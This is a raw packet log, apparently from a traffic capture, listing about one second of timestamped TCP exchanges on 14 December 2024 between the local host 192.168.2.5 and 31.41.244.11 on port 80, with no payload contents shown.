Dec 14, 2024 14:56:16.771874905 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.772020102 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.774235964 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.774339914 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.774395943 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.776793957 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.776906967 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.776967049 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.779196978 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.779325962 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.779376030 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.779405117 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.781706095 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.781768084 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.781819105 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.781874895 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.784250975 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.784318924 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.784378052 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.786016941 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.786155939 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.786216974 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.787895918 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.787998915 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.788053989 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.789634943 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.789689064 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.789800882 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.790659904 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.791521072 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.791584969 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.791637897 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.793265104 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.793378115 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.793430090 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.795130014 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.795188904 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.795211077 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.795367956 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.797003031 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.797054052 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.797116041 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.797163963 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.798701048 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.798799038 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.798804998 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.798861980 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.800612926 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.800678015 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.800731897 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.800777912 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.802695036 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.802750111 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.802817106 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.802874088 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.920241117 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.920284986 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.920337915 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.920337915 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.920941114 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.921000004 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.921261072 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.921314955 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.921366930 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.921416998 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.922846079 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.922899008 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.922951937 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.922998905 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.924434900 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.924485922 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.924546957 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.924595118 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.926023006 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.926075935 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.926129103 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.926176071 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.927630901 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.927685022 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.927753925 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.927802086 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.929061890 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.929117918 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.929182053 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.929230928 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.930578947 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.930634022 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.930712938 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.930763960 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.932110071 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.932163954 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.932225943 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.932274103 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.933648109 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.933708906 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.933762074 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.933809996 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.935168028 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.935221910 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.935276031 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.935348034 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.936686039 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.936738968 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.936799049 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.936850071 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.938225985 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.938277960 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.938337088 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.938386917 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.939737082 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.939795017 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.939887047 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.939934015 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.941281080 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.941334963 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.941385031 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.941431999 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.942799091 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.942934990 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.942987919 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.942987919 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.944338083 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.944391012 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.944519043 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.944570065 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.945918083 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.945988894 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.946029902 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.946074963 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.947402954 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.947455883 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.947520018 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.947568893 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.948930979 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.948985100 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.949045897 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.949095964 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.950428963 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.950476885 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.950563908 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.950613022 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.951978922 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.952033997 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.952085018 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.952136040 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.953561068 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.953617096 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.953754902 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.953803062 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.955040932 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.955091953 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.955095053 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.955142021 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.956553936 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.956608057 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.956666946 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.956720114 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.958089113 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.958139896 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.958215952 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.958264112 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.959647894 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.959702015 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.959764957 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.959814072 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.961150885 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.961203098 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.961247921 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.961297035 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.962647915 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.962701082 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.962764025 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.962814093 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.964183092 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.964232922 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.964291096 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.964339018 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.965728045 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.965780020 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.965821028 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.965867996 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.967245102 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.967295885 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.967360973 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.967412949 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.968796015 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.968847990 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.968907118 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.968956947 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.970329046 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.970380068 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.970475912 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.970524073 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.971860886 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.971911907 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.972078085 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.972125053 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.973380089 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.973432064 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.973483086 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.973531961 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.974936008 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.974996090 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.975013018 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.975044012 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.976433992 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.976489067 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.976536989 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.976587057 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.977926016 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.978043079 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.978113890 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.979470968 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.979561090 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.979631901 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.981018066 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.981076002 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.981128931 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.981179953 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.982507944 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.982561111 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.982567072 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.982615948 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.984045982 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.984098911 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.984155893 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.984256029 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.985574007 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.985627890 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.985688925 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.985738039 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.987102032 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.987159014 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.987216949 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.987263918 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.988606930 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.988660097 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.988693953 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.988764048 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.990187883 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.990236998 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.990258932 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.990308046 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.991660118 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.991710901 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.991713047 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.991760969 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.993191004 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.993241072 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.993299007 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.993345976 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.994712114 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.994771957 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.994817972 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.994867086 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.996256113 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.996304989 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.996361017 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.996407986 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.997762918 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.997816086 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.112401962 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.112494946 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.112497091 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.112551928 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.113087893 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.113151073 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.113199949 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.113254070 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.114423990 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.114479065 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.114924908 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.114979029 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.115026951 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.115078926 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.116307974 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.116360903 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.116425037 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.116477013 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.117690086 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.117841959 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.117897034 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.119033098 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.119126081 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.119179010 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.120405912 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.120459080 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.120522976 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.120942116 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.121769905 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.121829033 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.121906042 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.121957064 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.123131037 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.123183966 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.123240948 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.123390913 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.124521017 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.124576092 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.124645948 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.124696016 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.125878096 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.125958920 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.125981092 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.126032114 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.127230883 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.127353907 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.127403975 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.128657103 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.128679991 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.128719091 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.128719091 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.129971027 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.130040884 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.130084991 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.130136013 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.131345034 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.131417036 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.131474972 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.131524086 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.132730007 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.132781982 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.132836103 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.132883072 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.134046078 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.134157896 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.134221077 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.135482073 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.135538101 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.135590076 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.135663033 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.136811018 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.136918068 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.136926889 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.136975050 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.138190031 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.138242006 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.138299942 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.138351917 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.139539003 CET	80	49846	31.41.244.11	192.168.2.5
